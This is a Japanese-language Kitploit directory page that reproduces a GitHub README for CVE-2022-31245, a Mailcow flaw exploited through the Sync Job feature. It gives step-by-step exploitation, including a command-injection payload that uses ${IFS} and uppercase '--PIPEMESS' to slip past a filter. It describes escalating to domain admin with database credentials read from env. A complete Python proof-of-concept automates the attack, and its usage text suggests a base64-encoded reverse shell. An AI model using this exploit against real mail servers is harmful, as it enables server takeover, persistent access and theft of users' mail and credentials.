Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Mailcow-CVE-2022-31245 — CVE-2022-31245: Mailcow向けRCEおよびドメイン管理者権限昇格 | Kitploit
ツール/GitHubGitHub/ly1g3/mailcow-cve-2022-31245
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubly1g3/mailcow-cve-2022-31245

Mailcow-CVE-2022-31245

CVE-2022-31245: Mailcow向けRCEおよびドメイン管理者権限昇格

リポジトリを見る
127154年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Mailcow CVE-2022-31245

CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。

報告および修正: 2022-05

パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

CVE-2022-31245: コマンドインジェクション, RCE

重要度: 3/3
タイプ: コマンドインジェクション, RCE, ドメイン乗っ取り
影響を受けるバージョン: 少なくとも 2019 - 2022-05c

最近のすべての Mailcow バージョンに欠陥が存在し、システムの一般ユーザーが「Sync Job」機能を悪用して、imapsync のコマンドインジェクションを使用してシェルを取得できます。この脆弱性を利用して、攻撃者はデータベースに容易にピボットし、Mailcow の「Domain Admin」ロールに権限を昇格させることができます。

このエクスプロイトは、Sync Job がタイマーで実行されるため、デフォルトで永続性を含みます。

このエクスプロイトは Mailcow インスタンス全体を危険にさらします。2022-05c リリースでテスト済みで動作します。2022-05d でパッチ適用されました。

技術概要

以下の手順を使用して、脆弱性を再現できます。

シェルの取得:

  1. Mailcow ログインページに移動します (SOGo ではありません)
  2. 一般ユーザーとしてログインします
  3. Sync Jobs に移動します
  4. 次の値を設定します: hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD 「Custom Parameters」フィールドが重要です。CMD はスペースを含まない任意のシェルコマンドにできます。大文字を使用することが重要です!
  5. 保存を押し、コマンドが実行されるまで1分待ちます。

Custom Parameters のペイロード例:

root@kitploit:~
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt

CMD にはスペース、引用符、スラッシュを含めることはできません。スペースの代わりに ${IFS} を使用します。--PIPEMESS の大文字は、functions.mailbox.inc.php の340行目のチェックをバイパスするために重要です:

root@kitploit:~
if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}

この大文字のコマンドは、imapsync が大文字小文字を区別しないため、引き続き機能します。

権限昇格:

  1. dovcot コンテナでシェルを取得した後、env を実行します
  2. DBUSER と DBPASS を見つけます
  3. mysql と資格情報を使用してデータベースにログインします
  4. 新しい管理者ユーザーを作成するか、新しい管理者 API キーを作成します

概念実証, PoC

自動化 PoC。PoC は、ローカル以外の Mailcow インスタンスに対して実行する場合、修正が必要な場合があります。

root@kitploit:~
#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")
ツールをダウンロード